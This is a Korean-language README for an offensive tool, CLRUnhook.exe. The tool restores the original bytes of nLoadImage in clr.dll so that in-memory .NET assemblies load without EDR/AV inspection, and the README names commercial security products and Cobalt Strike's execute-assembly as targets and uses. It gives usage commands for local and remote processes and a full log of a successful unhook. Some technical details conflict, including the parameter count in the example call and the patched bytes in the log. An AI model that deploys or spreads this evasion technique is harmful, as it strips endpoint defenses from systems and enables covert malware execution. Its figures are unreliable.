
현대 보안 제품(CrowdStrike, Bitdefender, SentinelOne 등)은 clr.dll 내의 nLoadImage 함수를 후킹하여 메모리 내 .NET 어셈블리 로드를 가로채서 스캔합니다. 이 도구는 해당 함수의 후킹을 해제합니다.
.NET 공용 언어 런타임에서 원래 nLoadImage 함수 구현을 복원하여 EDR/AV 후크를 우회하는 네이티브 C++ 유틸리티입니다.
이 도구는 CLR의 nLoadImage 함수에서 보안 제품 후크를 제거합니다. nLoadImage는 모든 인메모리 .NET 어셈블리 로딩을 처리하는 중요한 네이티브 진입점입니다. 디스크에서 깨끗한 clr.dll을 읽고, 메모리에서 후킹된 함수 바이트를 덮어씀으로써 원래 CLR 동작을 복원하여 Assembly.Load(byte[])가 EDR 검사나 스캔 없이 실행되도록 합니다.
최신 보안 제품(BitDefender, CrowdStrike, SentinelOne 등)은 clr.dll 내부의 nLoadImage 함수를 후킹하여 인메모리 .NET 어셈블리 로드를 가로채고 스캔합니다. 이 도구는 다음 단계로 해당 함수를 언후킹합니다:
clr.dll 읽기nLoadImage 바이트 찾기언후킹 후, Assembly.Load(byte[])는 EDR 검사 없이 실행됩니다.
nLoadImage는 .NET 런타임에서 모든 인메모리 어셈블리 로딩을 처리하는 중요한 네이티브 함수입니다. 관리 코드에서 InternalCall로 선언되어, C# 구현이 없으며 대신 네이티브 CLR 코드로의 직접 브리지 역할을 합니다.
호출 체인:
Managed Code (C#)
↓
Assembly.Load(byte[])
↓
RuntimeAssembly.nLoadImage(...) [InternalCall - managed body 없음]
↓
clr.dll!AssemblyNative::LoadImage (Native C++ 구현)
↓
Assembly loaded into AppDomain
중요한 이유:
거의 모든 인메모리 어셈블리 로드는 nLoadImage를 거칩니다. Assembly.Load(byte[]) 메서드와 그 오버로드(심볼 바이트 로딩 포함)는 모두 내부적으로 nLoadImage를 호출합니다. Assembly.Load(byte[])를 호출하면 mscorlib.dll의 관리 코드가 RuntimeAssembly.nLoadImage()에 바이트 배열을 전달하는데, 이 메서드는 [MethodImpl(MethodImplOptions.InternalCall)]로 표시되어 있어 C#에서는 본문이 비어 있고 실행이 즉시 네이티브 CLR 코드로 점프합니다.
런타임에 어셈블리를 생성하는 직렬화 프레임워크, XML 직렬화 생성기, Cobalt Strike의 execute-assembly와 같은 동적 코드 생성 시나리오도 모두 이 단일 함수를 통과합니다.
네이티브 구현:
mscorlib.dll의 nLoadImage InternalCall 스텁은 clr.dll 내부의 네이티브 C++ 함수 AssemblyNative::LoadImage를 가리킵니다. 이 함수는:
.NET Framework 4.8+에서는 모든 nLoadImage 호출이 실행 전에 자동으로 어셈블리 바이트를 Windows Defender의 AMSI(AmsiScanBuffer)에 전달하여 스캔하므로, 보안 제품에 중요한 병목 지점이 됩니다.
함수 시그니처 (.NET Framework 4.7+):
[MethodImpl(MethodImplOptions.InternalCall)]
static internal extern Assembly nLoadImage(
byte[] rawAssembly, // PE bytes
byte[] rawSymbolStore, // Optional PDB bytes
Evidence evidence, // CAS evidence (obsolete)
ref StackCrawlMark stackMark, // Security stack marker
bool fIntrospection, // Reflection-only flag
bool fSkipIntegrityCheck, // Skip integrity validation
SecurityContextSource securityContextSource // Security context
);
Assembly.Load(byte[])를 호출하면 nLoadImage가 일반적으로 다음과 같은 매개변수로 호출됩니다:
StackCrawlMark stackMark = StackCrawlMark.LookForMyCaller;
return RuntimeAssembly.nLoadImage(
rawAssembly, // Your byte array
null, // rawSymbolStore
null, // evidence
ref stackMark, // LookForMyCaller
false, // fIntrospection
SecurityContextSource.CurrentAssembly // securityContextSource
);
fIntrospection 매개변수는 어셈블리가 실행용(false)으로 로드되는지 아니면 리플렉션 전용 검사(true)로 로드되는지를 제어합니다. Assembly.ReflectionOnlyLoad(byte[]) 메서드는 fIntrospection=true로 nLoadImage를 호출하여 코드 실행 없이 메타데이터 검사를 허용합니다.
EDR이 후킹하는 이유:
nLoadImage는 인메모리 어셈블리 로드의 단일 진입점이므로, EDR 제품은 clr.dll의 네이티브 수준에서 이를 후킹합니다. 이를 통해:
기존 우회 방법(AMSI 패칭, ETW 비활성화)은 CLR 수준 후크에 영향을 주지 않습니다. 후크가 AMSI가 호출되기 전, CLR 내부에서 발생하기 때문입니다.
CLRUnhook.exe
현재 프로세스에서 CLR을 언후킹합니다. 참고: CLR이 이미 로드된 경우에만 작동합니다(.NET 애플리케이션에서 실행 중이거나 CLR을 수동으로 로드한 경우).
CLRUnhook.exe powershell.exe
CLRUnhook.exe 1234
원격 프로세스에서 CLR을 언후킹합니다.
=== CLR Unhooking Tool ===
[*] Mode -> Remote Process Unhooking
[*] Target -> PID 21436
[+] Found PID -> 21436
[*] Unhooking CLR->nLoadImage in remote process...
[DEBUG] Remote mode enabled
[DEBUG] Found clr.dll at 0x00007FFD38CB0000
[DEBUG] CLR path -> C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll
[DEBUG] CLR module size -> 10108928 bytes
[DEBUG] Read 10108928 bytes from remote process
[DEBUG] Searching for 'nLoadImage' in module (size: 10108928)
[DEBUG] Remote base address: 0x00007FFD38CB0000
[DEBUG] Scanning for string 'nLoadImage' (11 bytes)...
[DEBUG] Found string at RVA 0x7c12b8
[DEBUG] Searching for remote pointer: 0x7ffd394712b8
[DEBUG] Found pointer at offset 0x7a4340
[DEBUG] Valid function pointer found at RVA 0x5e4f30
[DEBUG] Found nLoadImage at RVA 0x00000000005E4F30
[DEBUG] Hooked function address -> 0x00007FFD39294F30
[DEBUG] Clean function at offset 0x00000000005E4F30 in disk file
[DEBUG] Reading hooked bytes before patch...
[DEBUG] First 16 bytes BEFORE unhook:
4C 8B DC 49 89 5B 08 49 89 73 10 4D 89 4B 20 57
[DEBUG] Clean bytes from disk:
8B 4B 78 E8 88 A9 EA FF C6 44 24 28 00 80 3D A4
[DEBUG] Wrote 30 bytes successfully
[DEBUG] First 16 bytes AFTER unhook:
8B 4B 78 E8 88 A9 EA FF C6 44 24 28 00 80 3D A4
[DEBUG] VERIFICATION SUCCESS: Patched bytes match clean bytes!
[+] SUCCESS -> CLR nLoadImage unhooked in remote process!
[+] EDR/AV hooks bypassed
[*] Press Enter to exit...
Managed Code (C#)
↓
Assembly.Load(byte[])
↓
RuntimeAssembly.nLoadImage(...) [InternalCall]
↓
clr.dll!AssemblyNative::LoadImage
↓
[EDR HOOK] ← 우리가 우회하는 부분
↓
Original CLR Code
clr.dll에서 nLoadImage를 찾습니다 (현재 후킹된 상태)C:\Windows\Microsoft.NET\Framework64\v4.0.30319\에서 원본 clr.dll을 읽습니다패턴 스캐닝을 사용하여 nLoadImage를 찾습니다:
기술 연구:
구현:
교육 및 승인된 보안 연구용으로만 사용하세요.
이 도구를 무단으로 사용하여 보안 통제를 우회하는 경우 컴퓨터 사기 방지법(CFAA 및 동등 법률)을 위반할 수 있습니다. 귀하가 소유하거나 명시적인 서면 허가를 받은 시스템에서만 사용하십시오.